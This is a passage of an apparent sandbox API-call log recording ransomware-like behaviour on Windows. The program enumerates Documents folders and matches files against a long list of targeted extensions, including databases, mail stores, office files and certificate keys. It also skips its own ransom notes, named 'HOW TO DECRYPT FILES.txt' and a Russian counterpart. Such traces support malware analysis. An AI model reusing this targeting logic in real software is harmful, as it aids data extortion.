0x20 [0089.402] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="jTKOxr61LK.pps" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps" [0089.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.ems") returned 0 [0089.402] lstrlenA (lpString="*.ems") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.db") returned 0 [0089.403] lstrlenA (lpString="*.db") returned 4 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.dbf") returned 0 [0089.403] lstrlenA (lpString="*.dbf") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.myox") returned 0 [0089.403] lstrlenA (lpString="*.myox") returned 6 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.myo") returned 0 [0089.403] lstrlenA (lpString="*.myo") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qbw") returned 0 [0089.403] lstrlenA (lpString="*.qbw") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qbb") returned 0 [0089.403] lstrlenA (lpString="*.qbb") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qbm") returned 0 [0089.403] lstrlenA (lpString="*.qbm") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qbo") returned 0 [0089.403] lstrlenA (lpString="*.qbo") returned 5 [0089.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qbx") returned 0 [0089.404] lstrlenA (lpString="*.qbx") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qba") returned 0 [0089.404] lstrlenA (lpString="*.qba") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qby") returned 0 [0089.404] lstrlenA (lpString="*.qby") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qbj") returned 0 [0089.404] lstrlenA (lpString="*.qbj") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.ofx") returned 0 [0089.404] lstrlenA (lpString="*.ofx") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.qif") returned 0 [0089.404] lstrlenA (lpString="*.qif") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mye") returned 0 [0089.404] lstrlenA (lpString="*.mye") returned 5 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mbox") returned 0 [0089.404] lstrlenA (lpString="*.mbox") returned 6 [0089.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.eml") returned 0 [0089.404] lstrlenA (lpString="*.eml") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.pst") returned 0 [0089.405] lstrlenA (lpString="*.pst") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.ost") returned 0 [0089.405] lstrlenA (lpString="*.ost") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.idx") returned 0 [0089.405] lstrlenA (lpString="*.idx") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.dbx") returned 0 [0089.405] lstrlenA (lpString="*.dbx") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.sql") returned 0 [0089.405] lstrlenA (lpString="*.sql") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mdb") returned 0 [0089.405] lstrlenA (lpString="*.mdb") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.fdb") returned 0 [0089.405] lstrlenA (lpString="*.fdb") returned 5 [0089.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.wab") returned 0 [0089.406] lstrlenA (lpString="*.wab") returned 5 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.dat") returned 0 [0089.406] lstrlenA (lpString="*.dat") returned 5 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.txt") returned 0 [0089.406] lstrlenA (lpString="*.txt") returned 5 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.jpeg") returned 0 [0089.406] lstrlenA (lpString="*.jpeg") returned 6 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.jpg") returned 0 [0089.406] lstrlenA (lpString="*.jpg") returned 5 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.png") returned 0 [0089.406] lstrlenA (lpString="*.png") returned 5 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.php") returned 0 [0089.406] lstrlenA (lpString="*.php") returned 5 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.cs") returned 0 [0089.406] lstrlenA (lpString="*.cs") returned 4 [0089.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.cpp") returned 0 [0089.407] lstrlenA (lpString="*.cpp") returned 5 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.rar") returned 0 [0089.407] lstrlenA (lpString="*.rar") returned 5 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.zip") returned 0 [0089.407] lstrlenA (lpString="*.zip") returned 5 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.html") returned 0 [0089.407] lstrlenA (lpString="*.html") returned 6 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.htm") returned 0 [0089.407] lstrlenA (lpString="*.htm") returned 5 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.xlsx") returned 0 [0089.407] lstrlenA (lpString="*.xlsx") returned 6 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.xls") returned 0 [0089.407] lstrlenA (lpString="*.xls") returned 5 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mp4") returned 0 [0089.407] lstrlenA (lpString="*.mp4") returned 5 [0089.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.ppt") returned 0 [0089.407] lstrlenA (lpString="*.ppt") returned 5 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.pptx") returned 0 [0089.408] lstrlenA (lpString="*.pptx") returned 6 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.doc") returned 0 [0089.408] lstrlenA (lpString="*.doc") returned 5 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.dot") returned 0 [0089.408] lstrlenA (lpString="*.dot") returned 5 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.docx") returned 0 [0089.408] lstrlenA (lpString="*.docx") returned 6 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.7z") returned 0 [0089.408] lstrlenA (lpString="*.7z") returned 4 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.tar") returned 0 [0089.408] lstrlenA (lpString="*.tar") returned 5 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.bz2") returned 0 [0089.408] lstrlenA (lpString="*.bz2") returned 5 [0089.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.gz") returned 0 [0089.408] lstrlenA (lpString="*.gz") returned 4 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mkv") returned 0 [0089.409] lstrlenA (lpString="*.mkv") returned 5 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.eml") returned 0 [0089.409] lstrlenA (lpString="*.eml") returned 5 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.msg") returned 0 [0089.409] lstrlenA (lpString="*.msg") returned 5 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.edb") returned 0 [0089.409] lstrlenA (lpString="*.edb") returned 5 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.accdb") returned 0 [0089.409] lstrlenA (lpString="*.accdb") returned 7 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.odb") returned 0 [0089.409] lstrlenA (lpString="*.odb") returned 5 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.java") returned 0 [0089.409] lstrlenA (lpString="*.java") returned 6 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.asm") returned 0 [0089.409] lstrlenA (lpString="*.asm") returned 5 [0089.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.pfx") returned 0 [0089.409] lstrlenA (lpString="*.pfx") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.pem") returned 0 [0089.410] lstrlenA (lpString="*.pem") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.p12") returned 0 [0089.410] lstrlenA (lpString="*.p12") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.gpg") returned 0 [0089.410] lstrlenA (lpString="*.gpg") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.vsd") returned 0 [0089.410] lstrlenA (lpString="*.vsd") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.odg") returned 0 [0089.410] lstrlenA (lpString="*.odg") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.raw") returned 0 [0089.410] lstrlenA (lpString="*.raw") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.nef") returned 0 [0089.410] lstrlenA (lpString="*.nef") returned 5 [0089.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.svg") returned 0 [0089.410] lstrlenA (lpString="*.svg") returned 5 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.psd") returned 0 [0089.411] lstrlenA (lpString="*.psd") returned 5 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.vmx") returned 0 [0089.411] lstrlenA (lpString="*.vmx") returned 5 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.vmdk") returned 0 [0089.411] lstrlenA (lpString="*.vmdk") returned 6 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.vdi") returned 0 [0089.411] lstrlenA (lpString="*.vdi") returned 5 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.lay6") returned 0 [0089.411] lstrlenA (lpString="*.lay6") returned 6 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mpeg") returned 0 [0089.411] lstrlenA (lpString="*.mpeg") returned 6 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.djvu") returned 0 [0089.411] lstrlenA (lpString="*.djvu") returned 6 [0089.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.tiff") returned 0 [0089.411] lstrlenA (lpString="*.tiff") returned 6 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.backup") returned 0 [0089.412] lstrlenA (lpString="*.backup") returned 8 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.pdf") returned 0 [0089.412] lstrlenA (lpString="*.pdf") returned 5 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.cert") returned 0 [0089.412] lstrlenA (lpString="*.cert") returned 6 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.docm") returned 0 [0089.412] lstrlenA (lpString="*.docm") returned 6 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.xlsm") returned 0 [0089.412] lstrlenA (lpString="*.xlsm") returned 6 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.dwg") returned 0 [0089.412] lstrlenA (lpString="*.dwg") returned 5 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.nd") returned 0 [0089.412] lstrlenA (lpString="*.nd") returned 4 [0089.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.tlg") returned 0 [0089.412] lstrlenA (lpString="*.tlg") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.lgb") returned 0 [0089.413] lstrlenA (lpString="*.lgb") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mov") returned 0 [0089.413] lstrlenA (lpString="*.mov") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.xdw") returned 0 [0089.413] lstrlenA (lpString="*.xdw") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.ods") returned 0 [0089.413] lstrlenA (lpString="*.ods") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.wav") returned 0 [0089.413] lstrlenA (lpString="*.wav") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.mp3") returned 0 [0089.413] lstrlenA (lpString="*.mp3") returned 5 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.aiff") returned 0 [0089.413] lstrlenA (lpString="*.aiff") returned 6 [0089.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.flac") returned 0 [0089.413] lstrlenA (lpString="*.flac") returned 6 [0089.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.m4a") returned 0 [0089.414] lstrlenA (lpString="*.m4a") returned 5 [0089.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps", pszSpec="*.csv") returned 0 [0089.414] lstrlenA (lpString="*.csv") returned 5 [0089.414] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0089.414] lstrcmpA (lpString1=".", lpString2="My Music") returned -1 [0089.414] lstrcmpA (lpString1="..", lpString2="My Music") returned -1 [0089.414] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jTKOxr61LK.pps") returned="jTKOxr61LK.pps" [0089.414] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0089.414] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned 48 [0089.414] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x76c4516f, ftCreationTime.dwLowDateTime=0x4e0000, ftCreationTime.dwHighDateTime=0x800, ftLastAccessTime.dwLowDateTime=0x200, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x76c45904, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f9c2, dwReserved1=0x1, cFileName="Àù\x18", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0089.414] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x4d0020, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0089.415] lstrcmpA (lpString1=".", lpString2="My Pictures") returned -1 [0089.415] lstrcmpA (lpString1="..", lpString2="My Pictures") returned -1 [0089.415] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.415] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0089.415] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned 51 [0089.415] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x76c4516f, ftCreationTime.dwLowDateTime=0x4e0000, ftCreationTime.dwHighDateTime=0x800, ftLastAccessTime.dwLowDateTime=0x200, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x76c45904, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f9c2, dwReserved1=0x1, cFileName="Àù\x18", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0089.415] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x79004d, dwReserved1=0x500020, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0089.415] lstrcmpA (lpString1=".", lpString2="My Shapes") returned -1 [0089.415] lstrcmpA (lpString1="..", lpString2="My Shapes") returned -1 [0089.415] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.415] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0089.415] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned 49 [0089.415] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x52d5c0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0089.418] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0089.418] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0089.418] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.418] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.418] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.418] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0089.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0089.418] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0089.418] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.*") returned="*.*" [0089.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0089.418] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="" [0089.418] lstrcatA (in: 